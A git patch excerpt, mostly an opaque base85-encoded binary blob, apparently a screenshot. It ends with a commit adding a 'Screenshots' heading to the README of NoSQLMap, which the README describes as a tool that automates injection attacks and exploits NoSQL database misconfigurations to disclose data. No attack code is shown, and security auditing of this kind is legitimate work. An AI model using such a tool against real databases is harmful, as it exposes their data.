zlBq(DOvhbL5^EChY}veAL>RANJ3}c=A9M>bT4;O$Qm&Oy;AmwPs*rV>3~Pd2%#WDg zx)&@3dx-3_o=&G3gyRvhhTGfdPf3AJwJ$5o#$p(%vfRbSKX3hvIxusm~d7Yo5Cu32G9ixrgG$?+NBN;v^@^9d%7 z{!+i2jm*_SVfc=63ezii`iAUe{L3(2%t{OG)D&f866^C4@c#hR$jb$DD>VJX7|t{v zm{N!`vbtjm3vlK?&f}F1Z7`qJL-T>5U z%$PNWzD3lbZvo1tN67?z2dH60yut{0jDbxRaO*p~9om#li)w&qU2zxwcxG^> zsa|p-Y30SZY+`PNz?sC!Orn`?vevjbIE87%GOhTC!s@CbF|lg~@#yZR(w58A;mjy* zZMfQ7%;H;)e}v=kk$i|YBXE2lkJO`45n8ecyt#!HcP&v`PbFps(xp{c_Eb_V(?x0O zaDv_*V9=u!Ef*Z%sx^YE_X~q`ueb?8SbLTDnL2_Z;K0=@U--rS!70PSLfZOwEqO$s zkwMa4Dc5~RINOJ~h|8vT2Fi>gv;c1~TaC~^{F?N41F3nqh10l-9mKC_h<18x^VF;K zA)H)AQ!)_Tqp$RriYE~Ca!eTaH7UGgF!WJ??dbF!6@XI^xCJV=#xo4_3&7N;2Dmq= zSEdM3=mf8Dghd$cJ&gu-k(LY&s=|!qqi+{cWQ^)Tq)&L&10WafpnSol1Qgm7z}AMm zlD*))Ri|ou6%2rs4HUAJQp=1&<3fVc2#Q3caK)gY4XeaQC?INua9us%Q0|n0t*u1J zQO=mXC0T0kAodGp#X=(U2~_W{VI5Y{Dasnf-|QDHwMQ$1VOn-86`%8!6s5|(sXXOhM?49WJv)O%IprEY;*IB9}}?OIB<)S-n7;xVbvYP-lig4t$7NV+WO=^Z@=kSt^Y z2V^f-tzw0g)vT^YXq1Bz1u1vMJ$6Kg#nnNzTmjpNT0pW+b%mpxN|O*4mp~4e5ue*K1(BHZ!47K zeV^PsX(=V<6aspA986GjjRE#<0S@H_d)zX388#0va?;H}_&h)-qLyDOk`GP)5IACR03fFb3wB)fPKDls3PJG*gmcDSeos^DU;F zM(;2w&l`^N-~Ix-e5Ct{u61o^RO^`sx{6x>Aa_ow+IhTd9si}Z`&GlasnDsU4 z#_05?bn+5MqEPq`IgTc+pSH8UZ%}{`HgjQc3M^iu4YCTg*%~gEML0?}Rl=jq2wNOf z2LZY(Vj2vjz}b0pCLS47iak{f-sCdBB;*C}ZC;>{YLpC{6s$FF5vs)i-p~k1bqJ?`C#|B3 zGo;R&k2-;OC17s=EW2@t-z1}S8xw8Q?wl^;ma*f_tse`zMXa&H4>hO@8q9q&9jGui z?6=7Y+oMk{j2m%+oX36WAYj;~VXJVMCB6EYa{Kw48{))bj1XTlV_2r!HiDr`x`|3f z9|9CPEYj91-7@}E0O{q6SEQyMR9dmJw6k@0h|I;4C2%P7LKDr=>AXWiz*WUey0DM} zu@E>7Y74h2sX1^92;v_O+M@E!E3=g?sa^pjL@w2I@_aLo<{jqo{DbeG%x+QT%H??@ z0zj#tIfPv$Bf~CZHva&zH$j>Q%FE3c2nNLz5{R@t$+r%IVO((Q=5!Sn7j#3s2Jr2I zB?|ul_ z?(7KGT23LjaOp$f+VmZ;O`5~-U@s2fVv~Hv?wMK4L4rwpl?q|hPkuV1U@f~P-C9x0 z1Qo`k#KaIq3kZU4(N?OR(-D}&3$y?-ZRCsL$zfe0Cy|#^788Y)g!h)lbwDrx0e}hs z>QNdRxN0}N-#ubopSw#7rV0CvxVBTarNeY z2B<*o=h? zci12WtmMYEb$Xejk|Dx4Y`k+F;ek?Oi$&7%<+!9^w@%85;T2pt%qF)43JKWGD8rsu zb}KErnVMcNSc^pn)h^RU4zOZbfI`i07V)o$j-a-mBvmHjDYRd9tEpn@M9{^bD>IWY zOGAS}^H_PT&H>n!&^3UEYzM=@t#C1hv$q#<7{lXAr?Y9TQeptX^2Q!+pueB+08u&d zDpNLS*~~e?D6R^Js1Mqc{RhO+J|5;d94qYdeq)XO!_1mCyBL0Htb@akc~V1hg!~V) z6AvOOiqanEsLSiUgbbX9qu|@|3;0DBFK_<91sMo1u0@RI|BA1A2EXz29V!K`)gD;ax+og4F@^vkn zWk?iyvo4xL5~g88!cvXU4giLT>`>$--*9>;$!Pds+Unb;-XW>mG=pMKo!CWf08O@| zdSYi15^kte<+q$(iOr=AicJ?mlxkoBtsH7(#zwlCN0R`U0w=^9ga=AM02#nb=ruuR zZi2Vs2K2hDrj=UbULcB7XD4S6hZshKV>zNs>*#Z?qT%2H+DLZgl{fhW*5^6KUma8g!9`-N7`QYMlqW7T-%1%6?!yNJ}Pu9v=dGLNqrbb>hzkfo3Y z3wBcr;;LIqfEgQFF}5Nxf;ZMBjp)v2w+hX;s)fc3Pk0Zwbt}0e1O-ENbEV=f@iX?@ zOKmxPTnHpC-T-W^m%!YtrUd)CTf+Q6_<;(4gG+2R2}SD9lB3(Vr89s*T`^QIOt#==>lZs1B= zdg%1Qa0Bpv+_5!SR}rY!dlQJWXEteNH6;rzSD5Urtht$%W*1jjk8^Rd7tGAI;$mAb zFfKGaOqdv$GX-@3GVWBbGNz?Um5EuNBbvD690J@3mwUYSdjt1GUM1R3duHgB^~umNpXQ1H^?R2a=u_qYr0`EO9d@FwLT0Jl`YCdMCI zBdl#q!h)vgIE3KJoV5xFIu}y?!{8&M4W{A>t2r8^ii@vue8*CZmb)e8 zFNAXo5T|nOi(z5E_u>X?1CKC44n-%;%)0)|j`%qqO)`ZW2-CQ^d+CUn?`KRw9!)(* zVCo^3cs)u?oI?*EHhx@tLv$SRkBIXk1v-G8lXQLtV z!4Srl8ljZwZyhs8xs#(Ho!P>V405ht^xrCR< zaV|5cDQm8H{{WE!yhEc&_?K~9WNZHbsEDEBwS4~oa8Tx!Q|$hrdmfwmg#u1SP+LzC zLTsey`kMhW((g;Mec*g{FT*jL1cAqILBY|BRExT zeq-Qyxjc{~#FPlAwLr?>{6S{3-*6nI)tdVIj#mw3=mqr!=Z*k4GSfSO*`r{VGl|+Bc>(;qT0FwXZ~y<r;8j{s@hnlzvntL#Uet@C?1Dx|lHxnZ9C`m4$LW{Al z5JMMaBn&pL@402x2fk-%tl6kmW!DonN1dM#s11Y)gKL`HY*O)2Cud$|mN1-57j?o} zmztdUd`7sv2ig?v8xyF7Y;!PRZGJ`}M{8Y@j=mtNP92iQc5~b&^fbh3QK$UWXInUk zi!egzgI%Jdq0AmB=3ta^TswT`*^dXmd7vM%mO=uP{?K)y!<4qNB_WCOON5@`KA0|7 zmcjU9Ih%stoJI}~@f2loSyqNi%+9;&GQX%Yy@R8~ceo>C9Vl-aLplw7zfz(&&T*N> z9(_P@amPE{N<(a`U>B&Qh>5wAB%v(-0OZc6F|^6aIaY2Te8Bw{EyK+=PaGcB%J z*Q@BkraQzM;%3%agtggHhSue*{{Vs)DIP5fNV*sV8x4Rq+R?dzh!|7>M5>&OT)>4w z2G_9)D7-)wq?*8Kg|_!`G#8aX*UlSiIRFTNayOf}OLU^%Bu0_}?SgM+2m?SN)zvlP zZrA~#O4o0A(C*2bZO$i{c_FZ7ZI_nL{z#0&lE|)$Y*F0pBMdf5kEN?hJWQK$hAe@- z<_bG;?}$riNkz%Kt0Az7CCeK%e1Vv92?iKV7REZdCDoSX=5>E+g{AZI7>(PnHvl=%UC)aSNzJvHFYfS?iO2B20%;L{6qsl16NOf zsD+XvWjP^XC0woME!pN%pC+y1Xfgi)WyLW5=4fxrT7a_=Ks1u$OpAVB{y_!dlgIj? z0O7n6iZ(Z};!^I%!_2dK9ta>6((eobX=}V{68(@dl_N~K)MzD4w~_^=pgqGtT4Oa1 z@hd2C8m=JwmX=qBBGZL3%ruKmn3KrtguH4XbEr!I(EesHZE5airV{0jACD7;li-Rm z-C{TqwWckKJn64{{T#&4(ra|`#xtadL8>Y`24~k9f6sFBA4D4?1)Gh&=c&0&2M41G#N*QN zA5)mDK~qdo90n?7(Wp#3$A`?N^JVTB1l`KFPluV|(+I!qWNcxu zry;|7jvF?RrFJ};&%9VG$4~o#Nn~ty6EN$`k$_ifP=3jZqolFD{{Zq>5NGlZ&oB*y zSF~dERqTOm8f%9=MPzUH9l>h72Z>OoB4pGQY~nRxM^f5>+F_1!D&JlpTT>GYxb9m| zm^8APmchQyXXOiF8%N+kquT=x)A6g%c~t-6A6V2Ka{XqTGh7XjX* z%@O2=yvy5wy&OZ7UTfy1s7yx&`esl$WT+}Zg~S&FZ8vci6fIsnOH?ER5aS^c`GHWB zuAre$ME8}R9op9ffU|@Z%BOuo#d!zu6H8x6(;A_%*_f4DDJ{Z@62pcx2pnUm^uh3P z5v9n6q80!um|kXOD7wVJmt$is5w4IX5@l7T(;Q}3@e?0I5K~^xA+&R`G{pUw9!T6O zPyU2JvbtalI@8p;8y%c6$A9SprE)m;L}5wqdpu0f;%yL;lSvIc50l9ZDK)35KtL_J zxwT6#97`=p1!9=r26hbVzj!vp8crdA!;l065VerJesx%mWV7udSj>B^e6}9-5RcYejaG_f|gOvHWT#Gb?2(fWd zfYWgeiVO?g453qRa5rx;C?kjQ5`in9FrmmI1C6iIEhu(1RV}YD9)nP_hO>jrZMb30 zM`RH-j{gAp5w{gm^%k0G_?kcwPn^mDCX|m7nFU@?5|%QRo+T|Rl=hUYFMeZ*O3o6+@`oUR#xL z#SmoQ_bITmh}Gf>t+S64EJmf0-a-Q%X8uwEJyyC+Vb|g<_)izZ2QG69!y1`e9R^mKZ%eN1Gs?N z&L2V%d~(M-e9i!PdxeUkL=HhXVKjkbVALyn7r`gXzGB)2g z6n7s>`15z!w zac-?;7OEh{(<_+ux27!)JFLN%NZ%shsWllWSYDduAUn5Da=zh&*K;CS#iUCC*m`XX zIc4~i^@&I)&xl<)4KT|&IfB?>g-ul$s#5GV43zvaKzMY^f$}`e-5q#{*JnM#)NPm! zgNV^mwO8FmicrM6#7|)g%g%fM0FvJJMpSLf<|P#tPEAE8K*C}7m`hv@Cqu*dej_U6 z7F8puVT$#7W(~1{!ks+zPi9b?q-Z%4!cQj?31mwwgNkG6?=F~{M-SpvIfhv9D94TZ z@#&9GG1d1j7tSTJR=*Klsx7fHAG!up>EmnG-eq z#HCYGs+-0vp5nWW01@DtrfD)F?U?acfO1gFY~>7D8P?ZP1zI4%X8QYuV$4K9U5&s} z*jp=|d5VX5CR98afHSJpM1Y^nO6G_FEI=iHyu>xhbo5RbE}>|vZw4WDK{{p`LpeW~ z0LC$AFxz)!GNpiunIHKvf;-M777jV;SOiYxQEH~{6-^s;7K+AT263`AH{P=Ni*G2< zXE)3NVeRJ5O3Nli{qKW-k=UmMx#Ig zC@VNKoBsfF7NMhL;v{(vZZwXjLc5fdec-*~-esw=LsGUIH{w)o!bKn$wV>=_d+oO; zPm@z=<|6(ZVqAQa7n@6za(urF)YMK$k+LA_YZG&iO2zRu<{D(4V!uvf=~;no5EWy( zK8jt-y{sdcnFCa~!ro(U4X_qB6r14Jw7_eEnNZG17!^f6V~9eHQBd3zJYJzg zsbi7N#XI?g^c6vI1rByGa(zIYDG;)%s32IovI#2S@ZO@zyK@J3dW)dEOC0Qm0a|6U z8akHT;9qElDp84IE*kR_d5Vo#`%7K)bZUAgDEQVk=Tk{tKkhrHK zeap_}(JhvNWrkQFs_$6{En@awNW*I)nYGHpFA-&rr`u0@fUqJoj>u7s{@|UF3uIJ^ zURMVR@?s&DyH6%Z=_6{jFf89B{m*%)(1Pe-ng(V{#H`n+6OTZ)p}BJJaHnj}rpnTK z7ggxUVA98sODx3Ut@AC)=3AV_!M}Jd5?b3(7MXQ&hPH#zdou#i*@2I3!q2>DO6xF&m{IL2$aNBjcT6znjm1zZ0}KZ=Y8zC!igPN|TU(ek z-?=L^W>PwXoaE{p)DFuQ329*X{~xSg>QVHC|!7#>X+7nbH{DbaZ+7Gw*YYH8UySb48yVyO0A8FzsJxo<3%qQGZ5$I8?t6dWJi{#1XsUhYCFdoP!#Jqj=h4$V1eztQ z-sPC!M_AR`;nxm(D>xAu1ZyL9SPebI$wt9h&43uyj%8^MG`ubXi1)4@trVsN%Vwhy zA7Tb`4!HB#Sut6j69!;uwibsBCfQRQ>!8QMIE9%|6f|y7*<}g5%p0Z+Imy&pmKZIS ziMK3bQY(dJm}}HqUfUsznUSow2ZKf@CFI7`Xfi31=a`P^39-AsT zg;RGd)TBpUGhn>jE81QO*EdMKIn%X3lc z-%GoWLE*yNsNd2FormZH!Iyp=ghOI_DX0(YFToWOj3~u$9XGFZyF6D)$rB5xw@`hT8Tf-I90UD$34r9W+wyD)~Zo*r-PYYz#K{$OpTKPs07Ef@QOOqDtW9x zvqIHVDX#`9<$+^meZ>Xrg(!kRGV=UHf*4C88smm#Q{NiZvxS1pCm19wYtu(f; zseyYuLC{zQss+F)RlYHpbwC)gN_-WAdYY!I)ZK}}!%Tc2;1J43n7kUP%pgsty5f|P z_BAQ@8%Uv)hPh=x$*slNP-}-V(bMm3K}EK)ylOu}VPbbe72?dhuoaf6BS3L$Qn>?% zS!sJ1b9_{6^i8C6q~yOIV4TVYR9@tYGSO<*3_xWGp(>SuM;S?@!8dS=1HxQ2mi<8C zx}Ob3wi*O7spc;RstAfS(B*sqekV-~E`pk*aTzByI2M?!8}l5knD_)cG?MoH#bpTT zFg3cedt5x`1fUtktG56%c@SRI6eV^M71%LAQQmF!9h0&=P(s^S-Zd#iRSguflv2x# zM+R$+akc40&DKd|01-g9NH!XBHHkvwwT;j&4k*GHxP&s14<1 z?kWI=2H@Nnd2L^6gWh1Pw^eE0p2b7h7J-&!j4JcKA$?^~1jCaL#KMU$KoX;thK}GA z6@X(#-6^`pcen}={`|byRZ6@Tp_XNgD)YV~sYDZI7RZ7Ywhc0Z0J=(lB>9=;RmXmn ziBwrQi)?Y}RXHju;#~#t1TvU)D~p3!s3_kPB@*s$a?LqWqJ~J72Z+LwzY!oaPu#F} zD0$oRexjzBy0aujh=F{{r_)hrUTS8p0-8L_V2!z)PJJ<6pELQ0jl9P6${mZ0H#w#( z-@_W?aeI}lb5%CXivyGxPPRVU&c8RQNJtwwu(?GRFHkFxu_V?41YI#7=MCzV3}#%R zxQ`B}$p|w9t2c-o)K}#-3X6PZBnnqdP_~FKNH>Xa7lEi*EZ=r>vL9H0x4KRg7I>&b z$XL=4+5?O&orE9rJY7UPiF4T@R()7Y7 zr`?cF!X>oE+NS^)a1dLp#gYI!vamOR7G1c+YXei{gc*WWo0WdoXJJVD{#YYtvrt@x zxX~R|(!;PcIJ#b9@kIhO(tV?n--vo0-V6FD)!8x3%veRZx|J;38p^bx-t`}ideFBx z&$)}MBTuU9V?^OgdsGL!ia?Tv&~o^ftL307Xj>A{SjL;hh#|zyzUb#rJ5XS4*>93F z0;=*t48bbR%$}WER&$frh|tal<_T8Of`}{Hhq^?}f+N+9rFM|x#PVWh*EH~0zQ+56?^Sx67Ft^FBI~2mdP73MRmDet(q}a+0j}O7 z$x%hvAYnPNs?2&V*ySpIOvR&zh9SWH!kia%64~EO4;$3nvc|@-3h~r268+I_?r8cH zl<@|zCd9*YHl0OVOw2CFL<;&oO)f=XS7&r!BQ)bQ1X$Yj8%($4$@E_ zRv=))ffNxGOC5Cugf2U74YH~{)saVmf~)RgqTX)crUL_j$aoNjIIIw`DWR=ga%e4T zTUK+3G{vPf{7ow6Ze?`DZ#OED;v5$?qOt97<^^s!f*LEtFiWB=mJNl8ozn!m*CA~P zj5!8cw&{qxIXpEGwzVq~!x1QzyhTx%mxAz5Xq`(!yOox%OS>Sqg4k^lRHp=*0p_D( z5Wu8zB4HlPO9e2nN=p$ih=`jQZlKmSM$$5X@RmVBjXX`cf^te=wg93cS=gt{TikAh zl=T2Bq0}(yF5n`dCrG820>&nVKXC7VW*8{uSTl=*1R04}R~#=%k;(2vZWb$tJxrcl z`HmK9RIV72Ih#DftZd>_u3^^RHd-DL_x^zU^cvJc*#ggL?M=&hnV3Ne~4Rt zXF;g9P3?G%rQ1U6su0LkaOW{ztoj@R@yk0rPGV5c@-)1Nwdc&Kh*1GROxXC(37`Fo z6=hI{LaT>4mbH1ngxCrdsvKO~jl4&@FKjx1jjDD~4xk#^1(l1C7}qlC>!{Ux1siSN zWf=OL)_a&zY0Z}U4P1uB1Hj#Btl|N87zk)|$~@FD1$3J1Fx3%r<_JKESRfrVW!?;x z6z(BQxJ@q?sERtESab#h#HRHa30)JP`BnLr9V?z6g#K1B?mK}=?yX+&Y*|vM&^oFs zsf_`EP^LT;h0a{DQiz3sRNO2|)iqqikdHhl($+Phs)k`O@B#d`aaPJ%mE|f-ojuI# zglj8kbDhRCQJp)yg1kIMT5tCPM;}2l&Ab#8)#oHf7OS!?Z{qm4Qd2_(hKdH7e`Id_ z2gF;qB)fy&qEov#j%wyi!oqCgac3KaRrM=*F#^t=bpb_5tZbGAu`s~hj!1quoPAEjWL;+#W#gA~cjI62`3L?iOXeocpH{ z?1gWRVpE7M-P6MmbSP|@yD*coDER*XPoGX@UQbMzf}<;fG*{H-aj!>E+~RQxIJs_4 z8J*or)ZUtf%n@6ABtAWE|(V4oF~017O)r z8gey={9nRzv;m92;K71s+8jKrV+Sp{dxaLh5J}dEVRfG}($_-?>eHt|0>U;a8@WT? z5rVKl2ZOkjNpJ#^FL9SG>cZrU3v!(I0;83rx&k>3lJzBF*tXCBJOxFrV1k+Dqpe{P zgMc~O(rV+vp8luIc+9Xnuv))`mX{>h9gW@8{$2?UM1!H)Y znxSmeuC2aKqEr?nE4OqN@l`IzK!BFH2wb^yEE@3WSPQG$n4_oaJ^)(JwzfEqc!(8N z2!VShJAi<^0024&g~#bA7e&0SWm!VwnO(ySxp=8>#1&Z(t6Pl2QaX?YswNf3=g6yFWLcV$4u3<${lIY#mdF*DLRLaA}|5pOr>j? zsOjm#M}8eK)H@<#&3>jd#9Pk{PJnEcNuaB`r=t6Uk*c^1pFYxOq*$M@f5~#{>=TKU~ai+0^S1lk4P`s@*2H~5aSj?42 zI93D}DOnYewpigYjLJ1y*dS6k?yoz)Lr1IF<~`Z@i>We7Tn>wV5Yi=`20?96cy)mg>E*~TbZ`#2jp0FTxZU%AtT$n6EQ6d6 z(lItI3&ka^8+vh&niqr>o#>-=Rf@ZgJh5t}`D?{hc(^!27Duik`62zWnpieOr;G=V$Rm=rNFJkQo}a3QXC+y)gx>n*37|5 zqgQKnT=+yw{hfxeL9QA1{t5yWO^$YRl5P+Or2WPq)G)mSB4XCo*)T}Q% z1+7KzdT{CmgoltQU2I-{;8}nud&32e02dYter5t|b)d8@b5^ThMYEwpM%&KrxQ03T zMdr<*)7)S-D`XBR300dp#A%*9cGEg9O6D;jWZT@la)5GB&9R!yIdimCrxIi*Xi!-a z9Jmw(z_(B~870C-&7%n0m<>KRDyAg#Y`K+I#vh^?B39@`3oh;?hN9Gp_#<4vIKZa~ z8#x$8+{(vHN`drL*Ff_vEMRPwRVA)EhlqY=3pdo}R&3v0%WWX-H0+2VzOEt#?wr(H zGD{T>58O*1{AJWBZ=@|`Enf}BveDzHm28t18--qQo0v?~hFTQlf)5|40cN;)i;Z^y zxws<4#|&ETI83A%73c>Mx$OB`Sb*4yMa_1^6UQqJj(7?X~Z`+N^Xa=wzDWZ ziI|m3r%+X9X3uC5Q%S=Qy97i!1Dm$EXNV?|vNQu@Mp}$99nxzS z=G)g%Vz9G7?6We%pg2?(r756S+6wOb1O`4~@|_;dgc81DVizS$4IXV&{8^cF3bwY! zh$?8?&F1RiO$~)~2FH_GiLQsa#Z_Kyzo;>GCSM~)GnmjmHP}&^cIKl-3c+-gl)Q4` z#9NCA05k!}JIuk7?f@Vd;f-$cwD1xI`Ier9_7#e1%cy`SM^wtNd86^5PP{{Ugy5Ll2B! zA4G16Ynemr{w7!IwDl>-W)%RsE%5A)Ryc`G@XJ-1oc*M&*{{^vokT}6><+aDhaE&R zIrJA@8#;kCzkR_7$@`9(kD_2+k+omk%~znD$0wM0mPdG%LZrp_8%nSI8}vkT8m}{% zn~m`oFBbhvuqq2&#^8dsK}QVd(L}Gz;$&gmt>QinC0g+BWa`xTmz(P4?RzdYQt~20 zBU;5%eMz2lq`7u!5qfbc!n46)?yi{(l*9U6)IgcK7UKyl4DzDL%f{tcKyau65~^}B za{%!O8(zdHqVWMi&ZV~mt5a1m=*%ef`!Qgti2#aV4W%tLaK-wewW^_Qa)&S}khD?N z^IE=YI+=*+Jag$2;u->m%n8y+rnLl0r^y_PcG128JBe=X(}a(lsT zAUE>JcrePRg1$o|glgrc&>^*;%bmvAu>DK0TOBnoLiT^GkwJU7gbT^}g7MD~$w_@p z!mgfWs`!GGZ}%?}?5B-FTd~h_#`%Ktx9(?!?j_tdw9EkP(^t!Xter#{`84<t0P!WX=TC0_DpBBXk043FO%iEN0k9l-j z%PfMZ2I=Od704B4>TqM`Id7YR+&ydrIT#5@pP%$H&#RBH5+?w6PT&N~2*b@1povEl z;e%ZqOGQ@NTDjG-lUZyWF>NneYP`$cbKD)(LrpoFCP50c*L2IT`uz^jsDp}m#J&>7 zBxGYU#TQ)6GXdr)ZYfPWAh9jv0k!`CT)hhP4c`*A0mJx&j=HcGwAR-ddJYJ}5FK?e zsIKGsAeRfJR%TNRimoco9_cD9Q$x7*g+^wzP6@m<1?r_%qpPF+Qy>&5$BT;^2ocgc zh{~}!4M4>@VrE#v4^{C(#Z5BCIAU@_T|gy&(sCGkj@u&5%g2dzjwRD(qF_raS%Rp~ z895lG;wVZg?sh=3mb&u|dLlhbNT4Y$DO$(4wW)J+bIfJdW#X=-{!z7W(w1Cs;#{Vl zBI3GMhTThS|_EbE7?E2aw-*r$?KG z7RyJ44eDPHX;Kw5wwt#tIwn#r_ehv*F2=Df_TooCGzF&Cvk3Oa@Vv85Mdml*lBy)L zNE+56TcIf@8K$r)ZY-A+;lb`^Gb2}Y1TJ-hnOC0OvW6n01v#3mWuhKbcwxOlN={H2 z>_gbCH#ANiXNZG}#<$F4j-;r1w=f;C^A$|E>oleEub8}bIW}-%$zJXm58F@>H)&mkH*)TYhB&ZZ#~ZQ4tYB0C z;vlJ4a~O5Y-0YYC0FVuUY*W7C?g}L_VO-^&s!*Lyo_sK}Bs&I6t_<%6;;0MT3=NYs zc?j+$v}t)yN<1Z!D7CVm2={rH4b2Q<%c9`S7}*vhL9Z|7DkV}{-FJ6V{7cSZ>TNPGEyvWN zMr35%0?m_IL>mrGo`BW0e9lf$zF;+a_lV1_;#$B7YTD*C{{X9;RMVNqqpkWIjgDqW zn7HdDj5T4gmfTfW9)WEx7?!R{XnG;sSh`vKKq+Gl6GhZ#4MD2%kl%2ymrT5=Nn0)2 z-Nh<^^qz}B;0Tu7Ia5goSCJy6$=Q8-BjA~ijr8z0g)mq-_t;-87jIQ-fK$|9QwIj*4_noP^K#{HNum>d`Y ztpEn)CQMooQ?i;axsI=T9Ro>Kd|q6{X=u?@0j&#C^awV^*=w0_owIq|APSHa_Jg%2 zylc=2Nb>>8iL2@)90Q)>^4a;7m?u9lEIA#{ahi^&J0cTKmptc=h0inSl%dOSmEjBCQ*zBvz;on3N+P0Ih(^ z8ObPouW>fm5mmiX+(>n%urydVO(l(PHXSW+GsxzftfXQf46BF(y9Gco7T|B*S^PD^ zJz0V8aI=yd+NzbRvgML3ae&QNnvQ+YfY1Qj?S{YQToFdGWz*z>5L=0$$>b#}QqXF! z2FlLN#r^WTu)?pghY^-qk#%@DP_~PAEshID)SWYw>JpP@)w_Di_{;#nPj=9-VWyJI zZdQL9AP12tte`@a5ql^tny5K+79cw;(-9K0OSV0wK`3ma8_k-<=(gokV+y{;97@M& z4D6t`YOitX1e`M7M%yo<;OAihL;{6UH(^xD(Dpe}%K^wVmNmFSt4hlWLA6k>OCl=E zAzbKOzXiV#GRtC^PIqJFh8nH2E&^5SC3{Bp!qxDA&{v)zIYF90sxfYzMF~i?9bt0Y z7Olmsf`n)k!?$pk!)_c!mI@p?xu3x`b|Z@yw>JVmDE-ik#WQ$SVltia77PW8-Yy>~ zqee7g*1t194OKD*xoCy)QCpY9mXr`Ovs6CHWKvrE5*t*_5m|NE_%~$7yvJr`$WVu} zk3{LN5-1#ry%uLPf`ogMry656lrT16))KU}R4T6QtV%Uuau${~Wg;R8TAa~?buP1D zUSxH*gkixe+-n|edG+L7$X;+v;a;q}nrCysW+HB1XI6!DC&k+@Y zxPc*p`gJL#O3*A-HZ3@_sJvU@%7y+SoW}n1X>H2}^DHWxd5Ky+>{8seTP~StY`JW< zTNIVlxpL8$I1%&?c$aK4{{TLxnQ+TdbE(29oJ;g4>5RuLYztM~-L3my#mlX;D5ql9 z_?3C*n-_s;jx#LfyWSXqyeN#+yUT+psJN4>cNSd2HDN&p#LaOXA`OworwAogW(po_ zaZwf8#7kIkoa&_*VpL%A8K;vGJ}c(7C91YKyNiU4@}D}<#7&J-RatiO?jQhE6%>pD z?LOcty}_DXnyMGboW@}6P_`TFTLf_C1YebhElHJ>rx}1Ru!8AAgKX4G$bh5@2OwPU z7fq7zwhW@C6|=gfL6diVzh5T$h?<{{TQb3xEcnAj;FMiLs0vsT#}& zornr37eBZu1WW*lbXx>4!Ksl%=z(%xYG)^SKqZ9~T-V&T5I1%0Ug%s$&h-f>wPfmD z2H@EFwTPUI2)i|w3w@%wcq2~>>0+=XX=pyp4)Fji{R$`mn=me=qJ=SSLmQEdqMcQT zFfoOf68AQk$fmgmC~%h4L7Q5&jD?MDPQzCU!K?L{s-Ppa#T!cN3R|kh zKIO>-6qDHe*PDP?H+5Bc1fJ5W*<{r!XZ`7~GGH%WX4r zb1*T5ml%Wg$haMAz!%~e>PF!bPsKsmXyza)x$(@ZFiXMTq*Bt;Py7m%DqB+bMrE$0 zVpOS8r8<=>60s{1nOTT&Gbxn_Yq*yZnvTF=0IgR^Oy&+)FAZ9&MZK;76^`(ooh>Vb zaikcA1tz(IB&8v>g^zZ4H{He2!^BD@$kCV2(F<>2m0UEj1!YWE5mmGqAX}?sJC(>P z@2tuIOunj8fp?#2fq@knZXso7Km{7ML%5>??XBI%wT8q2T*_Ehm589`n?2)YEh<$+ zKw2sKsbN=R#9Bc+A2A%G_thn`;}t0%fz}EocI}FBX-qYH14~8pVNrh+(CY0kvT0aTHa$?)3o) zNhX5I)uv{I&<3bVWLmFy_?Q(9(??Db$tf^Taw|*=HYK6pE%@$NY@AuV0=P#NjJ?*DDZz1Cf;jyD z0NA7ERc(3gLSGPkR{GjiePm!_BBqVxzvdqRRt?-Nag>TnQmWxg6$&jD_NV|WH;TDd zplC+TCCmUN)xx@=p|mjLDF;eqctfyq_IZbz+}@>@*txmcV{HaYaE zkf}vn)~6BG!zSuJ5N~Sp6sE^5FRS8xn^(PXt~M}=6Jle1Zu;4H@E zlr+HrgO-JVG%)y!Z@L^S4uJ<30WKujT)t_BO1DkXS@!m*-9QS|Laz~m20K;(!-0GY z8TO?wbO5u-H%oLxEHGib8<`6!P*~-M3>Au&02ZMYcqI&v86{Qw7;cT&TBq7BHs>RK|c^BKOn<)EA{d z4rSJA5;y^aen(Q0FEEK)pywXaP=LjP;}eEH#7_BTL&C8(EyEi-qKZOw(F%4@O)}vS zXpmTF*@iV>^i)vGg8Gaw5h_T)EqTGC4?2FJm4U3RAutgl=sd&Vm@cSM4E9ThYEg&* zY8VVbwS2&JB|IyCNYCDl`#@bQ+EOgqa3Zbiej|@08ZEHD2^eft2A1J=OTFf`i0odl zY7rY0<4xy?<;}sPM1td1%y|qXBWocR)oT&;5MULTZ2@2cJ0Q3pY^WWB%qse<)k+)4 zaTdj&jl4B!+dx>&mq>4*|StjzA|_kj8mR4!`3 z7gum`$_3=TK#vNsF5(WzFdrlL78m@xU*mNeFwEBzjBb0waXWJzbsC#-1D{7z9J30% zwdmD(nrYXea9T{)rFtS4H!Bwilw6@KiBG0#y-c!zyU(;+eR-5_W9TiQ;I(lbvEh(P zj+%22BBiSivgT0BP}AKm{Kqdqph{>o*^JBVPnobJ(9NOQZ96T5d_h?3K?OqE%|=Gx zo9j7tuWJx#$nWZGz)V-<%v8=CM{8?up5{Z!t5=pc6Sq*-7A{M$@e~E>l&+M3@d$Ab zlQDwH0$Ejd-!a31DngO26A2BIhCmwx=91uM4xT4jRd|cb!rh9raI{@?OKLIQD5{2z zZ1cFu5cMflEhB#2OaM+F0=5)Kkg)qKCJksGd%)BN_%2ysUrS5f67?!dD}>1rVChe? z+(ki{o4bbYw63uarsP5QQx;wY>g>C@YH!rY(5sBN^DV0&7db6Mm+mU+SBG4*cF@#q z*mj<0Z!G7W#V+*}p5K_180grN^5kjw>ITiG{{S^Pmy=p0+q+wENGo#LRV$3E?y*2I zVjZgGW$w+iMNm2|Tz3rz(hs_rQpZ~-2G5Wj^Dfv;rHet)YSG+k>M4j&iK7em6CNPG zm93R^i;IF;V1~rxG}X1$!bSk9n+&k_i6CNrC2SyKg)&kBrp#t!rr@*MMfX#f{dSdD zb(b-vO@yB5cjg-@Ldhur(`GXWg-5(#-USov^JZq1MN9Dvi_tCHn~k>@5#2)>mBiZz zaF{KX1JY^+E@>}5mvEzH%DWsvOCb3i_ctn377)X6FD4-c9`d@CY|OcW)#+K4h}~z> Jrx3$G|JiMd3#$MC literal 0 HcmV?d00001 From b17ededce96aae3f0f3d954ceada382767211be9 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:16:16 +1000 Subject: [PATCH 150/207] Update README.md --- README.md | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index f69aa31..a7a527c 100644 --- a/README.md +++ b/README.md @@ -6,6 +6,9 @@ NoSQLMap # Introduction NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases as well as web applications using NoSQL in order to disclose data from the database. +# Screenshots 